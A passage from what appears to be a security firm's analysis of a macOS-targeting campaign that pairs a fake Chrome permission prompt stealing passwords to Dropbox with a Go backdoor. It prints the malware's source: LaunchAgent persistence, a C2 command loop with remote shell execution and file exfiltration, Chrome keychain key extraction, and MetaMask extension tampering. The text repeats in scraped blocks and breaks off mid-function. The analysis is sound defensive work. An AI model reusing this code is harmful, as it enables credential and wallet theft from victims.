<key>ProgramArguments</key> <array> <string>$WORK_DIR/$EXECUTABLE</string> </array> <key>RunAtLoad</key> <true/> <key>KeepAlive</key> <false/> </dict> </plist> EOL chmod 644 "$PLIST_FILE" if ! launchctl list | grep -q "com.vcam"; then launchctl load "$PLIST_FILE" fi # Step 5: Run ChromeUpdateAlert.app if [[ -d "$WORK_DIR/$APP" ]]; then open "$WORK_DIR/$APP" & fi # Final cleanup cleanup Reference: VirusTotal VirusTotal VirusTotal Contents of the archive (version for Intel CPU) that the script fetches are listed below: All the files in the archive can be categorized into a few groups: Parts of Go source code and its binaries (https://github.com/golang/go) ChromeUpdateAlert.app – An AppBundle containing a Mach-O binary that collects the user's IP and password A Go-written backdoor and a stealer vcamservice.sh – A script that launches the main Go-based executable file Parts of Go source code and its binaries ( https://github.com/golang/go ) Go source code https://github.com/golang/go https://github.com/golang/go ChromeUpdateAlert.app – An AppBundle containing a Mach-O binary that collects the user's IP and password ChromeUpdateAlert.app A Go-written backdoor and a stealer backdoor stealer vcamservice.sh – A script that launches the main Go-based executable file vcamservice.sh Interestingly, the archive is approximately 75 MB in size, primarily because it includes many parts of legitimate Go libraries and binaries. Analysis of the Mach-O Password Stealer One of the files we observed being used for a long period of time in this attack is a Mach-O universal binary with 2 architectures, named CameraAccess ( SHA256: 3c4becde20e618efb209f97581e9ab6bf00cbd63f51f4ebd5677e352c57e992a ). SHA256: 3c4becde20e618efb209f97581e9ab6bf00cbd63f51f4ebd5677e352c57e992a It masquerades as a Google Chrome icon, making regular users believe the file is legitimate and preventing them from deleting it. The code is written in Swift, and no strong obfuscation techniques were detected, making it relatively easy to understand the execution flow. It displays a window that looks like a system notification window, asking the user to grant microphone access, supposedly requested from Google Chrome application. Even if the user selects "Remind Me Later," a password prompt window still appears. The app claims to require microphone access; however, it is sandboxed, and no actual permission request is made for the microphone. After the user enters their password, the malware requests the external IP address of the host it is running on. It then sends the password.txt file to a Dropbox folder named after the user's external IP address. On the screenshot below the Dropbox API URL can be spotted. While examining the network traffic, we could see attempts to retrieve public IP address of a victim. After the IP address is received, we could see requests to Dropbox in order to upload IP-password pair using hardcoded credentials. Our team reported this incident to Dropbox, along with the credentials used to conduct this abusive campaign. Analysis of the Go-written backdoor It is important to note that the ZIP file downloaded by the ffmpeg.sh script contains the plaintext source code of the backdoor, meaning it was neither precompiled nor obfuscated. It significantly sped up the analysis but also raised questions about proper attribution. Needless to say, APT groups from the DPRK are typically far more sophisticated. Another unusual strategy is the inclusion of a Go binary ( /bin/go ) in the archive instead of simply compiling the full code. However, since Go is not the default application on many operating systems, the threat actors may have included it for better compatibility. This makes sense given that the malware is cross-platform and targets macOS, Linux, and Windows at the same time. /bin/go A graph illustrating relations and detailed description of each noteworthy sample, can be found here: Gist Gist Gist Entry point Inside the archive, there is a script called vcamupdate.sh . It runs immediately after unpacking and simply executes /bin/go (which is bundled in the ZIP) while passing the path to the main Golang application ( app.go in this case). vcamupdate.sh /bin/go app.go #!/bin/bash # Set the working directory to the folder where this script is located cd "$(dirname "$0")" echo "Installing Dependencies..." project_file="app.go" ./bin/go run "$project_file" exit 0 #!/bin/bash # Set the working directory to the folder where this script is located cd "$(dirname "$0")" echo "Installing Dependencies..." project_file="app.go" ./bin/go run "$project_file" exit 0 The entry application ( app.go ) is responsible for generating a unique UUID for the user's workstation, initializing the C2 URL, and starting the main loop. In the code we can see single-line comments, prints of supporting messages, and some commented-out code. It also includes URLs probably meant for testing, forgotten to be removed by the developers. In spite of the C2 IP address being different in the main campaign, samples from 2024 shared the same functionality and targeted the same data. app.go Later the call to core.StartMainLoop(id, url) brings us to the core/ folder with loop.go and work.go files. The loop.go file is mainly responsible for receiving and execution of commands from C2, calling submodules which collect sensitive data, and uploading it to the remote server. It contains many functions, 8 of which we would like to highlight and explore in more detail. core.StartMainLoop(id, url) core/ loop.go work.go loop.go Function StartMainLoop This function uses the config submodule to initialize available commands and listen for incoming ones. Below you can find a table with all the commands along with their corresponding codes. A more detailed analysis of the backdoor functionality can be found in this publication . this publication this publication Command Name Encoded Name Description COMMAND_INFO qwer Get username, host, OS, arch COMMAND_UPLOAD asdf Upload and decompress arbitrary archive from C2 to host COMMAND_DOWNLOAD zxcv Download stolen data to C2 COMMAND_OSSHELL vbcx Initialize interactive shell between host and C2 (execute arbitrary remote commands) COMMAND_AUTO r4ys Automatically collect sensitive data COMMAND_WAIT ghdj Wait for X seconds COMMAND_EXIT dghh Exit main loop (set alive=false) Command Name Encoded Name Description COMMAND_INFO qwer Get username, host, OS, arch COMMAND_UPLOAD asdf Upload and decompress arbitrary archive from C2 to host COMMAND_DOWNLOAD zxcv Download stolen data to C2 COMMAND_OSSHELL vbcx Initialize interactive shell between host and C2 (execute arbitrary remote commands) COMMAND_AUTO r4ys Automatically collect sensitive data COMMAND_WAIT ghdj Wait for X seconds COMMAND_EXIT dghh Exit main loop (set alive=false) Command Name Encoded Name Description Command Name Command Name Encoded Name Encoded Name Description Description COMMAND_INFO qwer Get username, host, OS, arch COMMAND_INFO COMMAND_INFO qwer qwer Get username, host, OS, arch Get username, host, OS, arch COMMAND_UPLOAD asdf Upload and decompress arbitrary archive from C2 to host COMMAND_UPLOAD COMMAND_UPLOAD asdf asdf Upload and decompress arbitrary archive from C2 to host Upload and decompress arbitrary archive from C2 to host COMMAND_DOWNLOAD zxcv Download stolen data to C2 COMMAND_DOWNLOAD COMMAND_DOWNLOAD zxcv zxcv Download stolen data to C2 Download stolen data to C2 COMMAND_OSSHELL vbcx Initialize interactive shell between host and C2 (execute arbitrary remote commands) COMMAND_OSSHELL COMMAND_OSSHELL vbcx vbcx Initialize interactive shell between host and C2 (execute arbitrary remote commands) Initialize interactive shell between host and C2 (execute arbitrary remote commands) COMMAND_AUTO r4ys Automatically collect sensitive data COMMAND_AUTO COMMAND_AUTO r4ys r4ys Automatically collect sensitive data Automatically collect sensitive data COMMAND_WAIT ghdj Wait for X seconds COMMAND_WAIT COMMAND_WAIT ghdj ghdj Wait for X seconds Wait for X seconds COMMAND_EXIT dghh Exit main loop (set alive=false) COMMAND_EXIT COMMAND_EXIT dghh dghh Exit main loop (set alive=false) Exit main loop (set alive=false) Based on the command received from C2, an appropriate function will be called. func StartMainLoop(id string, url string) { var ( msg_type string msg_data [][]byte msg string cmd string cmd_type string cmd_data [][]byte alive bool ) // initialize cmd_type = config.COMMAND_INFO alive = true for alive { func() { // recover panic state defer func() { if r := recover(); r != nil { cmd_type = config.COMMAND_INFO time.Sleep(config.DURATION_ERROR_WAIT) } }() switch cmd_type { case config.COMMAND_INFO: msg_type, msg_data = processInfo() case config.COMMAND_UPLOAD: msg_type, msg_data = processUpload(cmd_data) case config.COMMAND_DOWNLOAD: msg_type, msg_data = processDownload(cmd_data) case config.COMMAND_OSSHELL: msg_type, msg_data = processOsShell(cmd_data) case config.COMMAND_AUTO: msg_type, msg_data = processAuto(cmd_data) case config.COMMAND_WAIT: msg_type, msg_data = processWait(cmd_data) case config.COMMAND_EXIT: alive = false msg_type, msg_data = processExit() default: panic("problem") } msg = command.MakeMsg(id, msg_type, msg_data) cmd, _ = transport.HtxpExchange(url, msg) cmd_type, cmd_data = command.DecodeMsg(cmd) }() } } func StartMainLoop(id string, url string) { var ( msg_type string msg_data [][]byte msg string cmd string cmd_type string cmd_data [][]byte alive bool ) // initialize cmd_type = config.COMMAND_INFO alive = true for alive { func() { // recover panic state defer func() { if r := recover(); r != nil { cmd_type = config.COMMAND_INFO time.Sleep(config.DURATION_ERROR_WAIT) } }() switch cmd_type { case config.COMMAND_INFO: msg_type, msg_data = processInfo() case config.COMMAND_UPLOAD: msg_type, msg_data = processUpload(cmd_data) case config.COMMAND_DOWNLOAD: msg_type, msg_data = processDownload(cmd_data) case config.COMMAND_OSSHELL: msg_type, msg_data = processOsShell(cmd_data) case config.COMMAND_AUTO: msg_type, msg_data = processAuto(cmd_data) case config.COMMAND_WAIT: msg_type, msg_data = processWait(cmd_data) case config.COMMAND_EXIT: alive = false msg_type, msg_data = processExit() default: panic("problem") } msg = command.MakeMsg(id, msg_type, msg_data) cmd, _ = transport.HtxpExchange(url, msg) cmd_type, cmd_data = command.DecodeMsg(cmd) }() } } Function processInfo This function will collect basic system information such as username, hostname, OS version, and architecture. It is worth to note that most of the popular infostealers collect way more system information than this malware. func processInfo() (string, [][]byte) { user, _ := user.Current() host, _ := os.Hostname() os := runtime.GOOS arch := runtime.GOARCH print("user: " + user.Username + ", host: " + host + ", os: " + os + ", arch: " + arch + "\n") data := [][]byte{ []byte(user.Username), []byte(host), []byte(os), []byte(arch), []byte(config.DAEMON_VERSION), } return config.MSG_INFO, data } func processInfo() (string, [][]byte) { user, _ := user.Current() host, _ := os.Hostname() os := runtime.GOOS arch := runtime.GOARCH print("user: " + user.Username + ", host: " + host + ", os: " + os + ", arch: " + arch + "\n") data := [][]byte{ []byte(user.Username), []byte(host), []byte(os), []byte(arch), []byte(config.DAEMON_VERSION), } return config.MSG_INFO, data } Function processUpload In this case, upload represents the process of sending an archive file from the C2 to the infected host, followed by its decompression. It also indicates whether the decompression was successful. func processUpload(data [][]byte) (string, [][]byte) { var log string var state string path := string(data[0]) buf := bytes.NewBuffer(data[1]) err := util.Decompress(buf, path) if err == nil { log = fmt.Sprintf("%s : %d", path, len(data[1])) state = config.LOG_SUCCESS } else { log = fmt.Sprintf("%s : %s", path, err.Error()) state = config.LOG_FAIL } return config.MSG_LOG, [][]byte{ []byte(state), []byte(log), } } func processUpload(data [][]byte) (string, [][]byte) { var log string var state string path := string(data[0]) buf := bytes.NewBuffer(data[1]) err := util.Decompress(buf, path) if err == nil { log = fmt.Sprintf("%s : %d", path, len(data[1])) state = config.LOG_SUCCESS } else { log = fmt.Sprintf("%s : %s", path, err.Error()) state = config.LOG_FAIL } return config.MSG_LOG, [][]byte{ []byte(state), []byte(log), } } Function processDownload This function is the reverse of the previous one. It performs compression of a directory with files collected in advance into tar.gz archive. func processDownload(data [][]byte) (string, [][]byte) { var file_data []byte var err error path := string(data[0]) _, file := filepath.Split(path) info, _ := os.Stat(path) if info.IsDir() { var buf bytes.Buffer err = util.Compress(&buf, []string{path}, false) file = fmt.Sprintf("%s.tar.gz", file) file_data = buf.Bytes() } else { file_data, err = os.ReadFile(path) } if err == nil { return config.MSG_FILE, [][]byte{[]byte(config.LOG_SUCCESS), []byte(file), file_data} } else { return config.MSG_FILE, [][]byte{[]byte(config.LOG_FAIL), []byte(err.Error())} } } func processDownload(data [][]byte) (string, [][]byte) { var file_data []byte var err error path := string(data[0]) _, file := filepath.Split(path) info, _ := os.Stat(path) if info.IsDir() { var buf bytes.Buffer err = util.Compress(&buf, []string{path}, false) file = fmt.Sprintf("%s.tar.gz", file) file_data = buf.Bytes() } else { file_data, err = os.ReadFile(path) } if err == nil { return config.MSG_FILE, [][]byte{[]byte(config.LOG_SUCCESS), []byte(file), file_data} } else { return config.MSG_FILE, [][]byte{[]byte(config.LOG_FAIL), []byte(err.Error())} } } Function processOsShell This is a function which a true backdoor must have. It awaits arbitrary command and attempts to execute it. A command may have command-line arguments, and the output will be logged directly to a C2. func processOsShell(data [][]byte) (string, [][]byte) { mode := string(data[0]) // mode timeout, _ := strconv.ParseInt(string(data[1]), 16, 64) shell := string(data[2]) args := make([]string, len(data[3:])) for index, elem := range data[3:] { args[index] = string(elem) } if mode == config.SHELL_MODE_WAITGETOUT { // wait and get result mode ctx, cancel := context.WithTimeout(context.Background(), time.Duration(timeout)) defer cancel() cmd := exec.CommandContext(ctx, shell, args...) out, err := cmd.Output() if err != nil { return config.MSG_LOG, [][]byte{ []byte(config.LOG_FAIL), []byte(err.Error()), } } else { return config.MSG_LOG, [][]byte{ []byte(config.LOG_SUCCESS), out, } } } else { // start and detach mode c := exec.Command(shell, args...) err := c.Start() if err != nil { return config.MSG_LOG, [][]byte{ []byte(config.LOG_FAIL), []byte(err.Error()), } } else { return config.MSG_LOG, [][]byte{ []byte(config.LOG_SUCCESS), []byte(fmt.Sprintf("%s %s", shell, strings.Join(args, " "))), } } } } func processOsShell(data [][]byte) (string, [][]byte) { mode := string(data[0]) // mode timeout, _ := strconv.ParseInt(string(data[1]), 16, 64) shell := string(data[2]) args := make([]string, len(data[3:])) for index, elem := range data[3:] { args[index] = string(elem) } if mode == config.SHELL_MODE_WAITGETOUT { // wait and get result mode ctx, cancel := context.WithTimeout(context.Background(), time.Duration(timeout)) defer cancel() cmd := exec.CommandContext(ctx, shell, args...) out, err := cmd.Output() if err != nil { return config.MSG_LOG, [][]byte{ []byte(config.LOG_FAIL), []byte(err.Error()), } } else { return config.MSG_LOG, [][]byte{ []byte(config.LOG_SUCCESS), out, } } } else { // start and detach mode c := exec.Command(shell, args...) err := c.Start() if err != nil { return config.MSG_LOG, [][]byte{ []byte(config.LOG_FAIL), []byte(err.Error()), } } else { return config.MSG_LOG, [][]byte{ []byte(config.LOG_SUCCESS), []byte(fmt.Sprintf("%s %s", shell, strings.Join(args, " "))), } } } } Function processAuto This is the entry point of the stealing flow. This function contains multiple calls to the files located in auto/ folder. They include grabbers, processors or modifiers of the following data: Keychain Chrome login data Chrome cookies Chrome MetaMask extension (keys, permissions, etc.) Chrome profile Keychain Chrome login data Chrome cookies Chrome MetaMask extension (keys, permissions, etc.) Chrome profile func processAuto(data [][]byte) (string, [][]byte) { var ( msg_type string msg_data [][]byte ) mode := string(data[0]) switch mode { case config.AUTO_CHROME_GATHER: msg_type, msg_data = auto.AutoModeChromeGather() case config.AUTO_CHROME_PREFRST: msg_type, msg_data = auto.AutoModeChromeChangeProfile() case config.AUTO_CHROME_COOKIE: msg_type, msg_data = auto.AutoModeChromeCookie() case config.AUTO_CHROME_KEYCHAIN: msg_type, msg_data = auto.AutoModeMacChromeLoginData() default: msg_type = config.MSG_LOG msg_data = [][]byte{[]byte(config.LOG_FAIL), []byte("unknown auto mode")} } return msg_type, msg_data } func processAuto(data [][]byte) (string, [][]byte) { var ( msg_type string msg_data [][]byte ) mode := string(data[0]) switch mode { case config.AUTO_CHROME_GATHER: msg_type, msg_data = auto.AutoModeChromeGather() case config.AUTO_CHROME_PREFRST: msg_type, msg_data = auto.AutoModeChromeChangeProfile() case config.AUTO_CHROME_COOKIE: msg_type, msg_data = auto.AutoModeChromeCookie() case config.AUTO_CHROME_KEYCHAIN: msg_type, msg_data = auto.AutoModeMacChromeLoginData() default: msg_type = config.MSG_LOG msg_data = [][]byte{[]byte(config.LOG_FAIL), []byte("unknown auto mode")} } return msg_type, msg_data } Function processWait Utility function used to send backdoor into sleeping mode, awaiting further commands. func processWait(data [][]byte) (string, [][]byte) { duration, _ := strconv.ParseInt(string(data[0]), 16, 64) time.Sleep(time.Duration(duration)) send_data := make([]byte, 128) rand.Read(send_data) return config.MSG_PING, [][]byte{send_data} } func processWait(data [][]byte) (string, [][]byte) { duration, _ := strconv.ParseInt(string(data[0]), 16, 64) time.Sleep(time.Duration(duration)) send_data := make([]byte, 128) rand.Read(send_data) return config.MSG_PING, [][]byte{send_data} } Function processExit This is a utility function used to quit from the main loop of communication with the C2. func processExit() (string, [][]byte) { return config.MSG_LOG, [][]byte{ []byte(config.LOG_SUCCESS), []byte("exited"), } } func processExit() (string, [][]byte) { return config.MSG_LOG, [][]byte{ []byte(config.LOG_SUCCESS), []byte("exited"), } } Implementation of Chrome data auto-collection The auto/ folder contains a set of Go-apps: auto/ basic.go const ( userdata_dir_win = "AppData\\Local\\Google\\Chrome\\User Data\\" userdata_dir_darwin = "Library/Application Support/Google/Chrome/" userdata_dir_linux = ".config/google-chrome" extension_dir = "nkbihfbeogaeaoehlefnkodbefgpgknn" extension_hash_key = "protection.macs.extensions.settings.nkbihfbeogaeaoehlefnkodbefgpgknn" extension_setting_key = "extensions.settings.nkbihfbeogaeaoehlefnkodbefgpgknn" secure_preference_file = "Secure Preferences" logins_data_file = "Login Data" keychain_dir_darwin = "Library/Keychains/login.keychain-db" ) Here we can see defined constants with target data to capture, it becomes obvious that the main focus is on MetaMask extension. chrome_change_pref.go // get json string func getExtJsonString() string { return `{"active_permissions":{"api": ["activeTab","clipboardWrite","notifications","storage","unlimitedStorage","webRequest"], "explicit_host":["*://*.eth/*","http://localhost:8545/*","https://*.codefi.network/*","https://*.cx.metamask.io/*","https://*.infura.io/*","https://chainid.network/*","https://lattice.gridplus.io/*"], "manifest_permissions":[], "scriptable_host":["*://connect.trezor.io/*/popup.html","file:///*","http://*/*","https://*/*"]}, "commands":{"_execute_browser_action":{"suggested_key":"Alt+Shift+M","was_assigned":true}},"content_settings":[], "creation_flags":38,"events":[],"first_install_time":"13361518520188298","from_webstore":false, "granted_permissions":{"api":["activeTab","clipboardWrite","notifications","storage","unlimitedStorage","webRequest"], "explicit_host":["*://*.eth/*","http://localhost:8545/*","https://*.codefi.network/*","https://*.cx.metamask.io/*","https://*.infura.io/*","https://chainid.network/*","https://lattice.gridplus.io/*"], "manifest_permissions":[],"scriptable_host":["*://connect.trezor.io/*/popup.html","file:///*","http://*/*","https://*/*"]},"incognito_content_settings":[], "incognito_preferences":{},"last_update_time":"13361518520188298","location":4,"newAllowFileAccess":true,"path":"C:\\ProgramData\\11.16.0_0","preferences":{}, "regular_only_preferences":{},"state":1,"was_installed_by_default":false,"was_installed_by_oem":false,"withholding_permissions":false}` } // chrome kill if runtime.GOOS == "windows" { cmd := exec.Command("cmd", "/c", "taskkill /f /im chrome.exe") cmd.Run() } else { cmd := exec.Command("/bin/sh", "-c", "killall chrome") cmd.Run() } It kills all currently active Chrome processes, and changes certain permissions for the MetaMask extension. The JSON configuration suggests a potentially malicious behavior of the extension due to its extensive permissions and manual installation method. The "webRequest" permission allows the extension to intercept and modify network requests, enabling data theft or phishing attacks. The "clipboardWrite" permission can be used to capture and modify clipboard data, potentially stealing cryptocurrency addresses or passwords. The "scriptable_host" section, which includes "file:///*", "https://*/*", and "http://*/*", enables script execution on all websites and access to local files, allowing credential theft or unauthorized data exfiltration. The "explicit_host" section grants access to cryptocurrency-related domains, such as https://*.infura.io/* and https://*.cx.metamask.io/*, which could be exploited to manipulate transactions. The "from_webstore": false field indicates that the extension was installed manually or through unauthorized means, suggesting possible tampering. The "commands" field assigns a keyboard shortcut to activate the extension, potentially triggering hidden malicious behavior. These combined factors indicate the extension could be used for unauthorized access, data theft, or financial fraud. chrome_cookie_darwin.go var ( SALT = "saltysalt" ITERATIONS = 1003 KEYLENGTH = 16 ) func getDerivedKey() ([]byte, error) { out, err := exec.Command( `/usr/bin/security`, `find-generic-password`, `-s`, `Chrome Safe Storage`, `-wa`, `Chrome`, ).Output() if err != nil { return nil, err } temp := []byte(strings.TrimSpace(string(out))) chromeSecret := temp[:len(temp)-1] if chromeSecret == nil { return nil, errors.New("Can not get keychain") } var chromeSalt = []byte("saltysalt") // @https://source.chromium.org/chromium/chromium/src/+/master:components/os_crypt/os_crypt_mac.mm;l=157 key := pbkdf2.Key(chromeSecret, chromeSalt, 1003, 16, sha1.New) return key, nil } Used to retrieve password related to Google Chrome from local storage. Gathers Keychain data with further storage into gatherchain.tar.gz. chrome_cookie_other.go The same but for Linux. chrome_cookie_win.go The same but for Windows. chrome_gather.go func AutoModeChromeGather() (string, [][]byte) { print("=========== AutoModeChromeGather ===========", runtime.GOOS, "\n") var ( buf bytes.Buffer userdata_dir string path_list []string ) // gather userdata_dir = getUserdataDir() // file system search _ = filepath.Walk(userdata_dir, func(path string, info os.FileInfo, err error) error { if info.Name() == extension_dir && strings.Contains(path, "Local Extension Settings") { path_list = append(path_list, path) } return nil }) _ = util.Compress(&buf, path_list, true) print("=========== End ===========\n") // return data := make([][]byte, 3) data[0] = []byte(config.LOG_SUCCESS) data[1] = []byte("gather.tar.gz") data[2] = buf.Bytes() msg_type := config.MSG_FILE return msg_type, data Collects local extension settings (if they exist on the system) and pack it into gather.tag.gz basic.go const ( userdata_dir_win = "AppData\\Local\\Google\\Chrome\\User Data\\" userdata_dir_darwin = "Library/Application Support/Google/Chrome/" userdata_dir_linux = ".config/google-chrome" extension_dir = "nkbihfbeogaeaoehlefnkodbefgpgknn" extension_hash_key = "protection.macs.extensions.settings.nkbihfbeogaeaoehlefnkodbefgpgknn" extension_setting_key = "extensions.settings.nkbihfbeogaeaoehlefnkodbefgpgknn" secure_preference_file = "Secure Preferences" logins_data_file = "Login Data" keychain_dir_darwin = "Library/Keychains/login.keychain-db" ) Here we can see defined constants with target data to capture, it becomes obvious that the main focus is on MetaMask extension. basic.go basic.go const ( userdata_dir_win = "AppData\\Local\\Google\\Chrome\\User Data\\" userdata_dir_darwin = "Library/Application Support/Google/Chrome/" userdata_dir_linux = ".config/google-chrome" extension_dir = "nkbihfbeogaeaoehlefnkodbefgpgknn" extension_hash_key = "protection.macs.extensions.settings.nkbihfbeogaeaoehlefnkodbefgpgknn" extension_setting_key = "extensions.settings.nkbihfbeogaeaoehlefnkodbefgpgknn" secure_preference_file = "Secure Preferences" logins_data_file = "Login Data" keychain_dir_darwin = "Library/Keychains/login.keychain-db" ) const ( userdata_dir_win = "AppData\\Local\\Google\\Chrome\\User Data\\" userdata_dir_darwin = "Library/Application Support/Google/Chrome/" userdata_dir_linux = ".config/google-chrome" extension_dir = "nkbihfbeogaeaoehlefnkodbefgpgknn" extension_hash_key = "protection.macs.extensions.settings.nkbihfbeogaeaoehlefnkodbefgpgknn" extension_setting_key = "extensions.settings.nkbihfbeogaeaoehlefnkodbefgpgknn" secure_preference_file = "Secure Preferences" logins_data_file = "Login Data" keychain_dir_darwin = "Library/Keychains/login.keychain-db" ) Here we can see defined constants with target data to capture, it becomes obvious that the main focus is on MetaMask extension. Here we can see defined constants with target data to capture, it becomes obvious that the main focus is on MetaMask extension. chrome_change_pref.go // get json string func getExtJsonString() string { return `{"active_permissions":{"api": ["activeTab","clipboardWrite","notifications","storage","unlimitedStorage","webRequest"], "explicit_host":["*://*.eth/*","http://localhost:8545/*","https://*.codefi.network/*","https://*.cx.metamask.io/*","https://*.infura.io/*","https://chainid.network/*","https://lattice.gridplus.io/*"], "manifest_permissions":[], "scriptable_host":["*://connect.trezor.io/*/popup.html","file:///*","http://*/*","https://*/*"]}, "commands":{"_execute_browser_action":{"suggested_key":"Alt+Shift+M","was_assigned":true}},"content_settings":[], "creation_flags":38,"events":[],"first_install_time":"13361518520188298","from_webstore":false, "granted_permissions":{"api":["activeTab","clipboardWrite","notifications","storage","unlimitedStorage","webRequest"], "explicit_host":["*://*.eth/*","http://localhost:8545/*","https://*.codefi.network/*","https://*.cx.metamask.io/*","https://*.infura.io/*","https://chainid.network/*","https://lattice.gridplus.io/*"], "manifest_permissions":[],"scriptable_host":["*://connect.trezor.io/*/popup.html","file:///*","http://*/*","https://*/*"]},"incognito_content_settings":[], "incognito_preferences":{},"last_update_time":"13361518520188298","location":4,"newAllowFileAccess":true,"path":"C:\\ProgramData\\11.16.0_0","preferences":{}, "regular_only_preferences":{},"state":1,"was_installed_by_default":false,"was_installed_by_oem":false,"withholding_permissions":false}` } // chrome kill if runtime.GOOS == "windows" { cmd := exec.Command("cmd", "/c", "taskkill /f /im chrome.exe") cmd.Run() } else { cmd := exec.Command("/bin/sh", "-c", "killall chrome") cmd.Run() } It kills all currently active Chrome processes, and changes certain permissions for the MetaMask extension. The JSON configuration suggests a potentially malicious behavior of the extension due to its extensive permissions and manual installation method. The "webRequest" permission allows the extension to intercept and modify network requests, enabling data theft or phishing attacks. The "clipboardWrite" permission can be used to capture and modify clipboard data, potentially stealing cryptocurrency addresses or passwords. The "scriptable_host" section, which includes "file:///*", "https://*/*", and "http://*/*", enables script execution on all websites and access to local files, allowing credential theft or unauthorized data exfiltration. The "explicit_host" section grants access to cryptocurrency-related domains, such as https://*.infura.io/* and https://*.cx.metamask.io/*, which could be exploited to manipulate transactions. The "from_webstore": false field indicates that the extension was installed manually or through unauthorized means, suggesting possible tampering. The "commands" field assigns a keyboard shortcut to activate the extension, potentially triggering hidden malicious behavior. These combined factors indicate the extension could be used for unauthorized access, data theft, or financial fraud. chrome_change_pref.go chrome_change_pref.go // get json string func getExtJsonString() string { return `{"active_permissions":{"api": ["activeTab","clipboardWrite","notifications","storage","unlimitedStorage","webRequest"], "explicit_host":["*://*.eth/*","http://localhost:8545/*","https://*.codefi.network/*","https://*.cx.metamask.io/*","https://*.infura.io/*","https://chainid.network/*","https://lattice.gridplus.io/*"], "manifest_permissions":[], "scriptable_host":["*://connect.trezor.io/*/popup.html","file:///*","http://*/*","https://*/*"]}, "commands":{"_execute_browser_action":{"suggested_key":"Alt+Shift+M","was_assigned":true}},"content_settings":[], "creation_flags":38,"events":[],"first_install_time":"13361518520188298","from_webstore":false, "granted_permissions":{"api":["activeTab","clipboardWrite","notifications","storage","unlimitedStorage","webRequest"], "explicit_host":["*://*.eth/*","http://localhost:8545/*","https://*.codefi.network/*","https://*.cx.metamask.io/*","https://*.infura.io/*","https://chainid.network/*","https://lattice.gridplus.io/*"], "manifest_permissions":[],"scriptable_host":["*://connect.trezor.io/*/popup.html","file:///*","http://*/*","https://*/*"]},"incognito_content_settings":[], "incognito_preferences":{},"last_update_time":"13361518520188298","location":4,"newAllowFileAccess":true,"path":"C:\\ProgramData\\11.16.0_0","preferences":{}, "regular_only_preferences":{},"state":1,"was_installed_by_default":false,"was_installed_by_oem":false,"withholding_permissions":false}` } // get json string func getExtJsonString() string { return `{"active_permissions":{"api": ["activeTab","clipboardWrite","notifications","storage","unlimitedStorage","webRequest"], "explicit_host":["*://*.eth/*","http://localhost:8545/*","https://*.codefi.network/*","https://*.cx.metamask.io/*","https://*.infura.io/*","https://chainid.network/*","https://lattice.gridplus.io/*"], "manifest_permissions":[], "scriptable_host":["*://connect.trezor.io/*/popup.html","file:///*","http://*/*","https://*/*"]}, "commands":{"_execute_browser_action":{"suggested_key":"Alt+Shift+M","was_assigned":true}},"content_settings":[], "creation_flags":38,"events":[],"first_install_time":"13361518520188298","from_webstore":false, "granted_permissions":{"api":["activeTab","clipboardWrite","notifications","storage","unlimitedStorage","webRequest"], "explicit_host":["*://*.eth/*","http://localhost:8545/*","https://*.codefi.network/*","https://*.cx.metamask.io/*","https://*.infura.io/*","https://chainid.network/*","https://lattice.gridplus.io/*"], "manifest_permissions":[],"scriptable_host":["*://connect.trezor.io/*/popup.html","file:///*","http://*/*","https://*/*"]},"incognito_content_settings":[], "incognito_preferences":{},"last_update_time":"13361518520188298","location":4,"newAllowFileAccess":true,"path":"C:\\ProgramData\\11.16.0_0","preferences":{}, "regular_only_preferences":{},"state":1,"was_installed_by_default":false,"was_installed_by_oem":false,"withholding_permissions":false}` } // chrome kill if runtime.GOOS == "windows" { cmd := exec.Command("cmd", "/c", "taskkill /f /im chrome.exe") cmd.Run() } else { cmd := exec.Command("/bin/sh", "-c", "killall chrome") cmd.Run() } // chrome kill if runtime.GOOS == "windows" { cmd := exec.Command("cmd", "/c", "taskkill /f /im chrome.exe") cmd.Run() } else { cmd := exec.Command("/bin/sh", "-c", "killall chrome") cmd.Run() } It kills all currently active Chrome processes, and changes certain permissions for the MetaMask extension. The JSON configuration suggests a potentially malicious behavior of the extension due to its extensive permissions and manual installation method. The "webRequest" permission allows the extension to intercept and modify network requests, enabling data theft or phishing attacks. The "clipboardWrite" permission can be used to capture and modify clipboard data, potentially stealing cryptocurrency addresses or passwords. The "scriptable_host" section, which includes "file:///*", "https://*/*", and "http://*/*", enables script execution on all websites and access to local files, allowing credential theft or unauthorized data exfiltration. The "explicit_host" section grants access to cryptocurrency-related domains, such as https://*.infura.io/* and https://*.cx.metamask.io/*, which could be exploited to manipulate transactions. The "from_webstore": false field indicates that the extension was installed manually or through unauthorized means, suggesting possible tampering. The "commands" field assigns a keyboard shortcut to activate the extension, potentially triggering hidden malicious behavior. These combined factors indicate the extension could be used for unauthorized access, data theft, or financial fraud. It kills all currently active Chrome processes, and changes certain permissions for the MetaMask extension. MetaMask The JSON configuration suggests a potentially malicious behavior of the extension due to its extensive permissions and manual installation method. The " webRequest " permission allows the extension to intercept and modify network requests, enabling data theft or phishing attacks. The " clipboardWrite " permission can be used to capture and modify clipboard data, potentially stealing cryptocurrency addresses or passwords. webRequest clipboardWrite The " scriptable_host " section, which includes " file:///* ", " https://*/* ", and " http://*/* ", enables script execution on all websites and access to local files, allowing credential theft or unauthorized data exfiltration. scriptable_host file:///* https://*/* http://*/* The " explicit_host " section grants access to cryptocurrency-related domains, such as https://*.infura.io/* and https://*.cx.metamask.io/* , which could be exploited to manipulate transactions. explicit_host https://*.infura.io/* https://*.cx.metamask.io/* The " from_webstore ": false field indicates that the extension was installed manually or through unauthorized means, suggesting possible tampering. The " commands " field assigns a keyboard shortcut to activate the extension, potentially triggering hidden malicious behavior. from_webstore false commands These combined factors indicate the extension could be used for unauthorized access, data theft, or financial fraud. chrome_cookie_darwin.go var ( SALT = "saltysalt" ITERATIONS = 1003 KEYLENGTH = 16 ) func getDerivedKey() ([]byte, error) { out, err := exec.Command( `/usr/bin/security`, `find-generic-password`, `-s`, `Chrome Safe Storage`, `-wa`, `Chrome`, ).Output() if err != nil { return nil, err } temp := []byte(strings.TrimSpace(string(out))) chromeSecret := temp[:len(temp)-1] if chromeSecret == nil { return nil, errors.New("Can not get keychain") } var chromeSalt = []byte("saltysalt") // @https://source.chromium.org/chromium/chromium/src/+/master:components/os_crypt/os_crypt_mac.mm;l=157 key := pbkdf2.Key(chromeSecret, chromeSalt, 1003, 16, sha1.New) return key, nil } Used to retrieve password related to Google Chrome from local storage. Gathers Keychain data with further storage into gatherchain.tar.gz. chrome_cookie_darwin.go chrome_cookie_darwin.go var ( SALT = "saltysalt" ITERATIONS = 1003 KEYLENGTH = 16 ) func getDerivedKey() ([]byte, error) { out, err := exec.Command( `/usr/bin/security`, `find-generic-password`, `-s`, 